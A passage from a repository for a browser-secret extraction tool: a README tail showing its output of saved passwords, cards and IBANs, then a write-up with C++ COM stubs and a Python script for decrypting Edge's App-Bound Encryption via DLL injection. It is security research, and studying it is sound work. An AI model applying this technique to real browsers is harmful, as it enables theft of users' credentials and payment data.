| { 328 | "origin": "https://another.example.com", 329 | "username": "another_user", 330 | "password": "••••••••••" 331 | } 332 | … 333 | ] 334 | ``` 335 | 336 | ### 💳 Payment Method Extraction 337 | 338 | Each payment file is a JSON array of objects: 339 | 340 | ```json 341 | [ 342 | { 343 | "name_on_card": "John Doe", 344 | "expiration_month": 12, 345 | "expiration_year": 2030, 346 | "card_number": "••••••••••1234", 347 | "cvc": "•••" 348 | }, 349 | { 350 | "name_on_card": "Jane Smith", 351 | "expiration_month": 07, 352 | "expiration_year": 2028, 353 | "card_number": "••••••••••5678", 354 | "cvc": "•••" 355 | } 356 | … 357 | ] 358 | ``` 359 | 360 | ### 🏦 IBAN Extraction 361 | 362 | Each IBAN file is a JSON array of objects: 363 | 364 | ```json 365 | [ 366 | { 367 | "nickname": "UK Test", 368 | "value": "GB33BUKB20201555555555" 369 | } 370 | ] 371 | ``` 372 | 373 | ### 🔍 Browser Fingerprinting 374 | 375 | When using the `--fingerprint` flag, a comprehensive metadata report is generated: 376 | 377 | ```json 378 | { 379 | "browser": "Brave", 380 | "browser_version": "141.1.83.109", 381 | "executable_path": "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", 382 | "user_data_path": "C:\\Users\\username\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data", 383 | "sync_enabled": false, 384 | "enterprise_managed": false, 385 | "update_channel": "stable", 386 | "default_search_engine": "Google", 387 | "hardware_acceleration": true, 388 | "autofill_enabled": true, 389 | "password_manager_enabled": true, 390 | "safe_browsing_enabled": true, 391 | "installed_extensions_count": 12, 392 | "extension_ids": ["abc123...", "def456...", ...], 393 | "profile_count": 1, 394 | "computer_name": "DESKTOP-ABC123", 395 | "windows_user": "username", 396 | "last_config_update": 1759127932, 397 | "extraction_timestamp": 1759213456 398 | } 399 | ``` 400 | 401 | This data provides intelligence about the browser's configuration, security posture, and system context. 402 | 403 | ## 📚 In-Depth Technical Analysis & Research 404 | 405 | For a comprehensive understanding of Chrome's App-Bound Encryption, the intricacies of its implementation, the detailed mechanics of this tool's approach, and a broader discussion of related security vectors, please refer to my detailed research paper: 406 | 407 | 1. ➡️ **[Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes](docs/RESEARCH.md)** 408 | 409 | This document covers: 410 | 411 | - The evolution from DPAPI to ABE. 412 | - A step-by-step breakdown of the ABE mechanism, including `IElevator` COM interactions and key wrapping. 413 | - Detailed methodology of the DLL injection strategy used by this tool. 414 | - Analysis of encrypted data structures and relevant Chromium source code insights. 415 | - Discussion of alternative decryption vectors and Chrome's evolving defenses. 416 | 417 | 2. ➡️ **[The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption](docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)** 418 | 419 | This article details the specific challenges and reverse engineering journey undertaken to achieve reliable ABE decryption for Microsoft Edge. It includes: 420 | 421 | - An account of the initial issues and misleading error codes (`E_INVALIDARG`, `E_NOINTERFACE`). 422 | - The process of using COM type library introspection (with Python `comtypes`) to uncover Edge's unique `IElevatorEdge` vtable structure and inheritance. 423 | - How this insight led to tailored C++ interface stubs for successful interaction with Edge's ABE service. 424 | - A practical look at debugging tricky COM interoperability issues. 425 | 426 | 3. ➡️ **[COMrade ABE: Your Field Manual for App-Bound Encryption's COM Underbelly](docs/COMrade_ABE_Field_Manual.md)** 427 | 428 | This field manual introduces **COMrade ABE**, a Python-based dynamic analyzer for ABE COM interfaces, and dives into its practical applications: 429 | 430 | - Explains the necessity for dynamic COM interface analysis due to browser variations and updates. 431 | - Details COMrade ABE's methodology: registry scanning for service discovery, Type Library loading and parsing, and heuristic-based ABE method signature matching. 432 | - Provides a comprehensive guide to interpreting COMrade ABE's output, including CLSIDs, IIDs (standard and C++ style), and the significance of verbose output details like VTable offsets, defining interfaces, and full inheritance chains. 433 | - Highlights the utility of the auto-generated C++ stubs (`--output-cpp-stub`) for rapid development and research. 434 | - Discusses how COMrade ABE aids in adapting to ABE changes, analyzing new Chromium browsers, and understanding vendor-specific COM customizations. 435 | 436 | ## 🔗 Additional Resources & Research 437 | 438 | This project builds upon the work and analysis of the wider security community. 439 | 440 | - **Official Documentation & Announcements:** 441 | 442 | - [Google Security Blog: Improving the security of Chrome cookies on Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) 443 | - [Design Doc: Chrome app-bound encryption Service](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view) 444 | 445 | - **Community Research & Acknowledgment:** 446 | - Proof of concept by [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) 447 | 448 | ## 🗒️ Changelog 449 | 450 | All notable changes to this project are documented in the [**CHANGELOG**](CHANGELOG.md) file. This includes version history, new features, bug fixes, and security improvements. 451 | 452 | ## 📜 License 453 | 454 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 455 | 456 | ## 💡 Project Philosophy & Disclaimer 457 | 458 | > [!IMPORTANT] 459 | > This is a hobby project created for educational and security research purposes. It serves as a personal learning experience and a playing field for exploring advanced Windows concepts. 460 | > 461 | > **This tool is NOT intended to be a fully-featured infostealer or a guaranteed EDR evasion tool.** While it employs advanced techniques, its primary goal is to demonstrate and dissect the ABE mechanism, not to provide operational stealth for malicious use. Please ensure compliance with all relevant legal and ethical guidelines. 462 | -------------------------------------------------------------------------------- /docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md: -------------------------------------------------------------------------------- 1 | # The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption 2 | 3 | **By Alexander 'xaitax' Hagenah** 4 | 5 | So, you've heard about Google Chrome's App-Bound Encryption (ABE)? That nifty security feature rolled out around Chrome 127 to make life harder for cookie thieves by tying data decryption to the legitimate browser process. My project, [Chrome App-Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/), tackles this for Chrome and its Chromium cousin, Brave, using a user-mode DLL injection technique. Life was good. Data was flowing. Then came Microsoft Edge. 6 | 7 | What started as a "should be straightforward" port to support Edge turned into a delightful (read: occasionally hair-pulling) expedition into the nuances of COM, type libraries, and browser-specific implementations. This is the tale of that little adventure. 8 | 9 | ## The Premise: App-Bound Encryption & The `IElevator` 10 | 11 | A quick recap for the uninitiated: ABE's core idea is that a special AES-256 key (the `app_bound_key`), used for encrypting cookies, passwords, etc., is itself DPAPI-wrapped and stored in the browser's `Local State` file (prefixed with `APPB`). To unwrap this key, Chrome doesn't just call `CryptUnprotectData` directly. Instead, it invokes a method (commonly `DecryptData`) on a COM object, whose interface is often generically referred to as `IElevator`. This COM service, typically part of the browser's "Elevation Service" infrastructure, performs a crucial **path validation**: it only proceeds if the calling executable resides in the browser's legitimate installation directory. 12 | 13 | My tool's approach is conceptually simple: inject a DLL into the target browser process. Running from within the browser's address space, our DLL inherently satisfies the path validation check. It then instantiates the `IElevator` COM object, calls its `DecryptData` method, retrieves the plaintext `app_bound_key`, and subsequently uses this key to decrypt the user's sensitive data (cookies, passwords, payment methods). This strategy worked flawlessly for Google Chrome and Brave Browser, each requiring their specific `IElevator`-equivalent CLSIDs (Class IDs) and IIDs (Interface IDs). 14 | 15 | ## Enter Edge: The First Sign of Trouble 16 | 17 | With Chrome and Brave successfully addressed, extending support to Microsoft Edge *should* have been a relatively simple matter of identifying its corresponding `IElevator` CLSID/IID and incorporating them into the project's configuration. My `chrome_decrypt.dll` utilizes a C++ interface stub for `IElevator`, structured based on common Chromium patterns and the publicly available `elevation_service_idl.idl` from the Chromium source: 18 | 19 | ```cpp 20 | // Our C++ stub for the base IElevator interface, used for Chrome/Brave 21 | // and as the expected base for Edge's variant. 22 | MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") // Base IElevator IID from Chromium IDL 23 | IOriginalBaseElevator : public IUnknown 24 | { 25 | public: 26 | // VTable slot 3 (0 relative to this interface's custom methods) 27 | virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated( 28 | const WCHAR *crx_path, const WCHAR *browser_appid, 29 | const WCHAR *browser_version, const WCHAR *session_id, 30 | DWORD caller_proc_id, ULONG_PTR *proc_handle) = 0; 31 | 32 | // VTable slot 4 (1 relative) 33 | virtual HRESULT STDMETHODCALLTYPE EncryptData( 34 | ProtectionLevel protection_level, const BSTR plaintext, 35 | BSTR *ciphertext, DWORD *last_error) = 0; 36 | 37 | // VTable slot 5 (2 relative) 38 | virtual HRESULT STDMETHODCALLTYPE DecryptData( 39 | const BSTR ciphertext, BSTR *plaintext, DWORD *last_error) = 0; 40 | }; 41 | ``` 42 | 43 | Initial attempts to apply this to Edge, however, revealed a peculiar behavior: decryption for Edge *only* succeeded if Brave Browser was also installed on the system, and even then, only if I configured my tool to use *Brave's* CLSID and IID while targeting an Edge process. This was... unexpected, to say the least. It hinted at some complex interplay or fallback mechanism in COM component registration but was clearly not a robust or standalone solution for Edge. 44 | 45 | When I attempted to use what seemed to be Edge's *native* identifiers (discovered through registry & [OleView.NET](https://github.com/tyranid/oleviewdotnet) spelunking): 46 | * **Edge CLSID:** `{1FCBE96C-1697-43AF-9140-2897C7C69767}` 47 | * **Edge IID (for its `IElevatorEdge` interface):** `{C9C2B807-7731-4F34-81B7-44FF7779522B}` (let's call this `IID_IElevatorEdge`) 48 | 49 | ...the call to `elevator->DecryptData(...)` within my injected DLL (now running inside `msedge.exe`) would fail with `HRESULT: 0x80070057` (`E_INVALIDARG` - "One or more arguments are invalid."). The `CoCreateInstance` call using these Edge-specific GUIDs would succeed in creating the COM object, but the subsequent `DecryptData` method call was being rejected. 50 | 51 | ## The COM Detective Work: Unraveling Edge's Secrets 52 | 53 | The `E_INVALIDARG` error became the central mystery. If the CLSID correctly activated Edge's `elevation_service.exe`, and the IID correctly identified an interface it provided, why were the arguments to a seemingly standard method invalid? The prime suspect quickly became a potential binary incompatibility between my C++ `IOriginalBaseElevator` interface stub and the actual vtable layout of the interface exposed by Edge's `elevation_service.exe` when queried with its native `IID_IElevatorEdge`. 54 | 55 | ### Registry and Type Library Safari: The Python Chronicles 56 | 57 | To get to the bottom of this, direct introspection of Edge's `elevation_service.exe` type library was necessary. After a few iterations (and some amusing Python script errors involving `comtypes`'s nuances!), a working Python script yielded the crucial insights: 58 | 59 | 1. **`IElevatorEdge` (IID `{C9C2...}`):** 60 | * The Python script confirmed this IID corresponds to an interface named `IElevatorEdge` within Edge's type library. 61 | * Crucially, this `IElevatorEdge` interface itself defines **zero new methods** (`cFuncs: 0`). 62 | * It **inherits from** another interface named `IElevator`, which has the IID `{A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}` (let's call this `IID_BaseElevator`). This IID matched the one used in my C++ `IOriginalBaseElevator` stub and in Chromium's generic `elevation_service_idl.idl`. 63 | 64 | This was promising! It suggested `IElevatorEdge` was merely a vendor-specific "alias" for the standard `IID_BaseElevator` functionality. The logical next step was to instruct `CoCreateInstance` to use Edge's CLSID but request `IID_BaseIElevator`. 65 | The result: `CoCreateInstance failed: 0x80004002 (E_NOINTERFACE)`. 66 | 67 | This was a setback. Edge's COM object, when activated by its CLSID, refused to directly provide a pointer for `IID_BaseIElevator`, even though its own type library declared that its specific `IElevatorEdge` interface inherited from it. 68 | 69 | 2. **The VTable Twist – Inspecting `IElevator` (IID `{A949...}`) *within Edge's Type Library*** 70 | The Python script was then aimed at the `ITypeInfo` for `IID_BaseIElevator` *as defined within Edge's type library*. This revealed: 71 | * This interface (named `IElevator`, IID `{A949...}`) indeed defined **3 methods**. 72 | * Their names were `RunRecoveryCRXElevated`, `EncryptData`, and `DecryptData`. 73 | * The parameters for `DecryptData` (`BSTR ciphertext [in]`, `BSTR* plaintext [out]`, `DWORD* last_error [out]`) perfectly matched my C++ stub. 74 | * **The "Aha!" Moment:** This `IElevator` (IID `{A949...}`) itself **inherited from yet another interface named `IElevatorEdgeBase` (IID `{E12B779C-CDB8-4F19-95A0-9CA19B31A8F6}`).** 75 | * The vtable byte offsets for `RunRecoveryCRXElevated`, `EncryptData`, and `DecryptData` within *this specific definition* of `IElevator` (IID `{A949...}`) were 48, 56, and 64 bytes respectively (these correspond to vtable slots 6, 7, and 8 after the `IUnknown` methods of its ultimate base, assuming 8-byte pointers). 76 | 77 | **Decoding the VTable Anomaly:** 78 | 79 | My C++ `IOriginalBaseElevator` stub (associated with IID `{A949...}`) assumes its methods (`RunRecoveryCRXElevated`, `EncryptData`, `DecryptData`) are at vtable slots 3, 4, and 5 (0-indexed, immediately following `IUnknown`'s 3 methods). 80 | 81 | However, Edge's type library effectively defines the following inheritance chain for the interface we care about: 82 | `IUnknown` -> `IElevatorEdgeBase` (adds 3 unknown methods, occupying slots 3,4,5) -> `IElevator` (IID `{A949...}`, adds the 3 known methods, now at slots 6,7,8) -> `IElevatorEdge` (IID `{C9C2...}`, adds 0 new methods but is the "public" IID for Edge's elevator). 83 | 84 | When my code previously: 85 | 1. Requested `IID_IElevatorEdge` (`{C9C2...}`) from Edge's CLSID. 86 | 2. Stored the resulting pointer in a `ComPtr`. 87 | 3. Called `DecryptData()`. 88 | 89 | It was attempting to call the method at vtable slot 5 (as per `IOriginalBaseElevator`'s definition). But for the `IElevatorEdge` object, slot 5 was one of the unknown methods from `IElevatorEdgeBase`. The actual `DecryptData` was at slot 8. This vtable mismatch was the source of the `E_INVALIDARG` (or `E_NOTIMPL` when testing `RunRecoveryCRXElevated`, which would be slot 3 in my stub vs slot 6 in reality). 90 | 91 | ### The Fix: Tailoring the C++ Interface Stubs for Edge 92 | 93 | With the vtable layout clarified, the solution was to define a new chain of C++ interface stubs specifically for Edge that accurately mirror this discovered structure: 94 | 95 | 1. **`IEdgeElevatorBase_Placeholder`**: Inherits `IUnknown`, adds 3 placeholder methods (matching IID `{E12B...}`). 96 | 2. **`IEdgeIntermediateElevator`**: Inherits `IEdgeElevatorBase_Placeholder`, adds `RunRecoveryCRXElevated`, `EncryptData`, `DecryptData`. This interface corresponds to IID `{A949...}` *as defined by Edge's type library's definition of what IElevator (A949...) is*. 97 | 3. **`IEdgeElevatorFinal`**: Inherits `IEdgeIntermediateElevator`, adds no new methods. This interface corresponds to Edge's public `IElevatorEdge` IID `{C9C2...}`. 98 | 99 | In `chrome_decrypt.cpp`, the `BrowserConfig` for Edge now uses its CLSID `{1FCB...}` and its specific IID `{C9C2...}`. The COM interaction logic then uses a `Microsoft::WRL::ComPtr`: 100 | 101 | ```cpp 102 | // For Edge in DecryptionThreadWorker: 103 | Microsoft::WRL::ComPtr edgeElevator; 104 | hr_create = CoCreateInstance(cfg.clsid, // Edge's CLSID 105 | nullptr, 106 | CLSCTX_LOCAL_SERVER, 107 | cfg.iid, // Edge's specific IID for IEdgeElevatorFinal 108 | &edgeElevator); 109 | // ... 110 | if (SUCCEEDED(hr_proxy)) { // Assuming hr_proxy is set after CoSetProxyBlanket on edgeElevator 111 | hr_decrypt = edgeElevator->DecryptData(bstrEncKey, &bstrPlainKey, &lastComError); 112 | } 113 | ``` 114 | For Chrome/Brave, the original `IOriginalBaseElevator` stub is used, as their services expose interfaces compatible with methods at vtable slots 3,4,5 when their respective IIDs are queried. 115 | 116 | This finally allowed the tool to correctly call `DecryptData` on Edge's `IElevator` service using its native COM identifiers, successfully decrypting the data without relying on Brave's presence. 117 | 118 | ## Challenges and Lessons Learned 119 | 120 | This investigation into Edge's ABE internals was a journey filled with interesting technical hurdles and valuable lessons: 121 | 122 | * **COM Can Be Fickle:** The Component Object Model, while powerful, has layers of subtlety. Type library declarations of interface inheritance don't always guarantee that a COM object will respond to `QueryInterface` for all its declared base IIDs directly via `CoCreateInstance`, nor that the vtable layout for a specific derived IID will be naively callable as its simpler base type without precise C++ stubs that match the true vtable structure for that IID. 123 | * **Browser-Specific Quirks:** Even within the Chromium family, vendors can and do make subtle changes to internal COM components that require specific handling. Edge's unique vtable structure for its `IElevatorEdge` service, compared to the more direct structure apparently used by Chrome and Brave for their equivalents, exemplifies this. 124 | * **The Indispensability of Introspection Tools:** When source code for a specific COM server implementation isn't readily available or when observed behavior deviates from expectations based on shared codebases (like Chromium), tools for type library introspection (like the Python `comtypes` library, once the scripting iterations were complete) become absolutely essential for dissecting the true interface contracts. 125 | * **Methodical Debugging:** Tackling opaque COM errors such as `E_INVALIDARG`, `E_NOINTERFACE`, or `E_NOTIMPL` requires a systematic approach: isolating variables, forming hypotheses, and testing them step-by-step (e.g., verifying CLSIDs, then IIDs, then method call compatibility through vtable analysis). 126 | 127 | This deep dive into Microsoft Edge's App-Bound Encryption was a challenging but ultimately rewarding endeavor. Hope you enjoyed reading it! 128 | 129 | ## Appendix: Python Script for Type Library Introspection 130 | 131 | ```python 132 | import comtypes 133 | import comtypes.client 134 | import comtypes.typeinfo 135 | import comtypes.automation 136 | import ctypes 137 | 138 | IID_EdgeElevatorInterface_str = "{C9C2B807-7731-4F34-81B7-44FF7779522B}" 139 | IID_EdgeElevatorInterface_guid = comtypes.GUID(IID_EdgeElevatorInterface_str) 140 | 141 | IID_BaseElevator_str = "{A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}" 142 | IID_BaseElevator_guid = comtypes.GUID(IID_BaseElevator_str) 143 | 144 | # Obviously change this to the correct version 145 | typelib_path = r"C:\Program Files (x86)\Microsoft\Edge\Application\136.0.3240.64\elevation_service.exe" 146 | 147 | 148 | def get_vt_name(vt_code): 149 | mapping = { 150 | comtypes.automation.VT_EMPTY: "VT_EMPTY", comtypes.automation.VT_NULL: "VT_NULL", 151 | comtypes.automation.VT_I2: "VT_I2 (short)", comtypes.automation.VT_I4: "VT_I4 (LONG)", 152 | comtypes.automation.VT_R4: "VT_R4 (float)", comtypes.automation.VT_R8: "VT_R8 (double)", 153 | comtypes.automation.VT_CY: "VT_CY (CURRENCY)", comtypes.automation.VT_DATE: "VT_DATE", 154 | comtypes.automation.VT_BSTR: "VT_BSTR", comtypes.automation.VT_DISPATCH: "VT_DISPATCH (IDispatch*)", 155 | comtypes.automation.VT_ERROR: "VT_ERROR (SCODE)", comtypes.automation.VT_BOOL: "VT_BOOL", 156 | comtypes.automation.VT_VARIANT: "VT_VARIANT", comtypes.automation.VT_UNKNOWN: "VT_UNKNOWN (IUnknown*)", 157 | comtypes.automation.VT_DECIMAL: "VT_DECIMAL", comtypes.automation.VT_UI1: "VT_UI1 (BYTE)", 158 | comtypes.automation.VT_I1: "VT_I1 (char)", comtypes.automation.VT_UI2: "VT_UI2 (USHORT)", 159 | comtypes.automation.VT_UI4: "VT_UI4 (DWORD/ULONG)", comtypes.automation.VT_I8: "VT_I8 (LONGLONG)", 160 | comtypes.automation.VT_UI8: "VT_UI8 (ULONGLONG)", comtypes.automation.VT_INT: "VT_INT", 161 | comtypes.automation.VT_UINT: "VT_UINT", comtypes.automation.VT_VOID: "VT_VOID", 162 | comtypes.automation.VT_HRESULT: "VT_HRESULT", comtypes.automation.VT_PTR: "VT_PTR", 163 | comtypes.automation.VT_SAFEARRAY: "VT_SAFEARRAY", comtypes.automation.VT_CARRAY: "VT_CARRAY", 164 | comtypes.automation.VT_USERDEFINED: "VT_USERDEFINED", comtypes.automation.VT_LPSTR: "VT_LPSTR", 165 | comtypes.automation.VT_LPWSTR: "VT_LPWSTR", comtypes.automation.VT_RECORD: "VT_RECORD", 166 | 64: "VT_FILETIME", 65: "VT_BLOB", 66: "VT_STREAM", 67: "VT_STORAGE", 167 | 68: "VT_STREAMED_OBJECT", 69: "VT_STORED_OBJECT", 70: "VT_BLOB_OBJECT", 168 | 71: "VT_CF (Clipboard Format)", 72: "VT_CLSID", 73: "VT_VERSIONED_STREAM" 169 | } 170 | is_byref = bool(vt_code & comtypes.automation.VT_BYREF) 171 | is_array = bool(vt_code & comtypes.automation.VT_ARRAY) 172 | base_vt = vt_code & ~(comtypes.automation.VT_BYREF | 173 | comtypes.automation.VT_ARRAY) 174 | name = mapping.get(base_vt, f"Unknown VARTYPE_Base({base_vt})") 175 | if is_array: 176 | name = f"ARRAY_OF({name})" 177 | if is_byref: 178 | name = f"POINTER_TO({name})" 179 | return name 180 | 181 | 182 | def get_tkind_name(tkind_code): 183 | mapping = { 184 | comtypes.typeinfo.TKIND_ENUM: "TKIND_ENUM", 185 | comtypes.typeinfo.TKIND_RECORD: "TKIND_RECORD (struct)", 186 | comtypes.typeinfo.TKIND_MODULE: "TKIND_MODULE", 187 | comtypes.typeinfo.TKIND_INTERFACE: "TKIND_INTERFACE (pure vtable)", 188 | comtypes.typeinfo.TKIND_DISPATCH: "TKIND_DISPATCH (IDispatch based)", 189 | comtypes.typeinfo.TKIND_COCLASS: "TKIND_COCLASS (instantiable class)", 190 | comtypes.typeinfo.TKIND_ALIAS: "TKIND_ALIAS (typedef)", 191 | comtypes.typeinfo.TKIND_UNION: "TKIND_UNION", 192 | comtypes.typeinfo.TKIND_MAX: "TKIND_MAX (not a kind)" 193 | } 194 | return mapping.get(tkind_code, f"Unknown TKIND ({tkind_code})") 195 | 196 | 197 | def get_param_flags_string(flags): 198 | flag_map = { 199 | comtypes.typeinfo.PARAMFLAG_FIN: "in", 200 | comtypes.typeinfo.PARAMFLAG_FOUT: "out", 201 | comtypes.typeinfo.PARAMFLAG_FLCID: "lcid", 202 | comtypes.typeinfo.PARAMFLAG_FRETVAL: "retval", 203 | comtypes.typeinfo.PARAMFLAG_FOPT: "optional", 204 | comtypes.typeinfo.PARAMFLAG_FHASDEFAULT: "hasdefault", 205 | comtypes.typeinfo.PARAMFLAG_FHASCUSTDATA: "hascustomdata" 206 | } 207 | active_flags = [name for flag_val, 208 | name in flag_map.items() if flags & flag_val] 209 | return ", ".join(active_flags) if active_flags else f"none (raw: {flags})" 210 | 211 | 212 | def get_type_name_recursive(type_desc, containing_type_info): 213 | vt = type_desc.vt 214 | if vt & comtypes.automation.VT_BYREF: 215 | base_tdesc = comtypes.typeinfo.TYPEDESC() 216 | base_tdesc.vt = vt & ~comtypes.automation.VT_BYREF 217 | if base_tdesc.vt == comtypes.automation.VT_PTR: 218 | base_tdesc.lptdesc = type_desc.lptdesc 219 | elif base_tdesc.vt == comtypes.automation.VT_USERDEFINED: 220 | base_tdesc.hreftype = type_desc.hreftype 221 | base_name = get_type_name_recursive(base_tdesc, containing_type_info) 222 | return f"POINTER_TO({base_name})" 223 | 224 | if vt == comtypes.automation.VT_PTR: 225 | if type_desc.lptdesc: 226 | pointed_tdesc = type_desc.lptdesc.contents 227 | pointed_name = get_type_name_recursive( 228 | pointed_tdesc, containing_type_info) 229 | return f"POINTER_TO({pointed_name})" 230 | else: 231 | return "POINTER_TO(void)" 232 | elif vt == comtypes.automation.VT_USERDEFINED: 233 | try: 234 | ref_type_info = containing_type_info.GetRefTypeInfo( 235 | type_desc.hreftype) 236 | udt_name, _, _, _ = ref_type_info.GetDocumentation(-1) 237 | return f"{udt_name}" 238 | except Exception: 239 | return f"USERDEFINED(hreftype={type_desc.hreftype})" 240 | elif vt == comtypes.automation.VT_SAFEARRAY: 241 | if type_desc.lptdesc: 242 | element_tdesc = type_desc.lptdesc.contents 243 | element_name = get_type_name_recursive( 244 | element_tdesc, containing_type_info) 245 | return f"SAFEARRAY_OF({element_name})" 246 | else: 247 | return "SAFEARRAY_OF(UNKNOWN)" 248 | else: 249 | return get_vt_name(vt) 250 | 251 | 252 | def print_interface_details(type_info_interface_to_print, interface_name_override=None): 253 | attr = type_info_interface_to_print.GetTypeAttr() 254 | try: 255 | actual_iface_name, iface_doc_string, _, _ = type_info_interface_to_print.GetDocumentation( 256 | -1) 257 | guid_str = str(attr.guid) 258 | print( 259 | f"\n--- Interface: {interface_name_override or actual_iface_name} ---") 260 | print(f" TLB Name: {actual_iface_name}") 261 | if iface_doc_string: 262 | print(f" Doc: '{iface_doc_string}'") 263 | print(f" IID: {guid_str}") 264 | print( 265 | f" Type Kind: {attr.typekind} ({get_tkind_name(attr.typekind)})") 266 | print(f" Methods in this definition (cFuncs): {attr.cFuncs}") 267 | print( 268 | f" Inherited/Implemented Interfaces (cImplTypes): {attr.cImplTypes}") 269 | 270 | for i in range(attr.cImplTypes): 271 | hRefType = type_info_interface_to_print.GetRefTypeOfImplType(i) 272 | ref_type_info = type_info_interface_to_print.GetRefTypeInfo( 273 | hRefType) 274 | ref_attr = ref_type_info.GetTypeAttr() 275 | try: 276 | base_iface_name, _, _, _ = ref_type_info.GetDocumentation(-1) 277 | print( 278 | f" Inherits [{i}]: {base_iface_name} (IID: {str(ref_attr.guid)})") 279 | finally: 280 | pass 281 | 282 | if attr.cFuncs > 0: 283 | print("\n Methods (defined in this interface):") 284 | for i in range(attr.cFuncs): 285 | func_desc = type_info_interface_to_print.GetFuncDesc(i) 286 | try: 287 | names = type_info_interface_to_print.GetNames( 288 | func_desc.memid, func_desc.cParams + 1) 289 | func_name = names[0] if names else "(Unknown Name)" 290 | vtable_slot_index = func_desc.oVft // ctypes.sizeof( 291 | ctypes.c_void_p) 292 | 293 | print(f" [{i}] Method: {func_name}") 294 | print( 295 | f" VTable Slot (absolute in COM object): {vtable_slot_index} (Offset: {func_desc.oVft} bytes from IFace start)") 296 | print( 297 | f" Member ID: {func_desc.memid}, Invoke Kind: {func_desc.invkind}, CallConv: {func_desc.callconv}, FuncFlags: {func_desc.wFuncFlags}") 298 | 299 | ret_type_name = get_type_name_recursive( 300 | func_desc.elemdescFunc.tdesc, type_info_interface_to_print) 301 | print(f" Return Type: {ret_type_name}") 302 | 303 | if func_desc.cParams > 0: 304 | print(f" Parameters ({func_desc.cParams}):") 305 | for j in range(func_desc.cParams): 306 | param_name = names[j + 307 | 1] if len(names) > j + 1 else f"param{j}" 308 | 309 | elem_desc_param = func_desc.lprgelemdescParam[j] 310 | 311 | param_flags_value = elem_desc_param._.paramdesc.wParamFlags 312 | 313 | param_flags_str = get_param_flags_string(param_flags_value) 314 | param_type_desc = elem_desc_param.tdesc 315 | param_type_name = get_type_name_recursive( 316 | param_type_desc, type_info_interface_to_print) 317 | 318 | print( 319 | f" [{j}] '{param_name}': {param_type_name} (Flags: {param_flags_str})") 320 | finally: 321 | pass 322 | finally: 323 | pass 324 | 325 | 326 | try: 327 | comtypes.CoInitialize() 328 | print(f"Attempting to load type library from: {typelib_path}") 329 | type_lib = comtypes.typeinfo.LoadTypeLibEx(typelib_path) 330 | lib_name, lib_doc, _, _ = type_lib.GetDocumentation(-1) 331 | print(f"Successfully loaded type library: {lib_name} (Doc: '{lib_doc}')") 332 | 333 | print("\nInspecting IElevatorEdge (IID: {C9C2...}) directly:") 334 | type_info_edge_elevator = type_lib.GetTypeInfoOfGuid( 335 | IID_EdgeElevatorInterface_guid) 336 | print_interface_details(type_info_edge_elevator, "IElevatorEdge") 337 | 338 | print( 339 | "\nInspecting base IElevator (IID: {A949...}) as defined in Edge's TypeLib:") 340 | try: 341 | type_info_base_elevator = type_lib.GetTypeInfoOfGuid( 342 | IID_BaseElevator_guid) 343 | print_interface_details(type_info_base_elevator, "BaseIElevator") 344 | except comtypes.COMError as e: 345 | if e.hresult == comtypes.hresult.TYPE_E_ELEMENTNOTFOUND: 346 | print( 347 | f" Interface with IID {IID_BaseElevator_guid} not found directly in this TypeLib.") 348 | else: 349 | print( 350 | f" COMError finding base IElevator: HRESULT {hex(e.hresult)}, Text: {e.text if e.text else ''}") 351 | 352 | except OSError as e: 353 | print(f"OSError trying to load type library: {e}") 354 | except comtypes.COMError as e: 355 | print( 356 | f"A COM Error occurred: HRESULT {hex(e.hresult)}, Text: {e.text if e.text else ''}") 357 | except Exception as e: 358 | print(f"An unexpected error occurred: {e}") 359 | import traceback 360 | traceback.print_exc() 361 | finally: 362 | comtypes.CoUninitialize() 363 | ``` 364 | 365 | Resulting in: 366 | 367 | ```powershell 368 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> python .\edge_com_abe.py 369 | Attempting to load type library from: C:\Program Files (x86)\Microsoft\Edge\Application\136.0.3240.64\elevation_service.exe 370 | Successfully loaded type library: ElevatorLib (Doc: 'Elevator 1.0 Type Library') 371 | 372 | Inspecting IElevatorEdge (IID: {C9C2...}) directly: 373 | 374 | --- Interface: IElevatorEdge --- 375 | TLB Name: IElevatorEdge 376 | Doc: 'IElevatorEdge Interface' 377 | IID: {C9C2B807-7731-4F34-81B7-44FF7779522B} 378 | Type Kind: 3 (TKIND_INTERFACE (pure vtable)) 379 | Methods in this definition (cFuncs): 0 380 | Inherited/Implemented Interfaces (cImplTypes): 1 381 | Inherits [0]: IElevator (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 382 | 383 | Inspecting base IElevator (IID: {A949...}) as defined in Edge's TypeLib: 384 | 385 | --- Interface: BaseIElevator --- 386 | TLB Name: IElevator 387 | Doc: 'IElevator Interface' 388 | IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C} 389 | Type Kind: 3 (TKIND_INTERFACE (pure vtable)) 390 | Methods in this definition (cFuncs): 3 391 | Inherited/Implemented Interfaces (cImplTypes): 1 392 | Inherits [0]: IElevatorEdgeBase (IID: {E12B779C-CDB8-4F19-95A0-9CA19B31A8F6}) 393 | 394 | Methods (defined in this interface): 395 | [0] Method: RunRecoveryCRXElevated 396 | VTable Slot (absolute in COM object): 6 (Offset: 48 bytes from IFace start) 397 | Member ID: 1610743808, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 398 | Return Type: VT_HRESULT 399 | Parameters (6): 400 | [0] 'crx_path': VT_LPWSTR (Flags: in) 401 | [1] 'browser_appid': VT_LPWSTR (Flags: in) 402 | [2] 'browser_version': VT_LPWSTR (Flags: in) 403 | [3] 'session_id': VT_LPWSTR (Flags: in) 404 | [4] 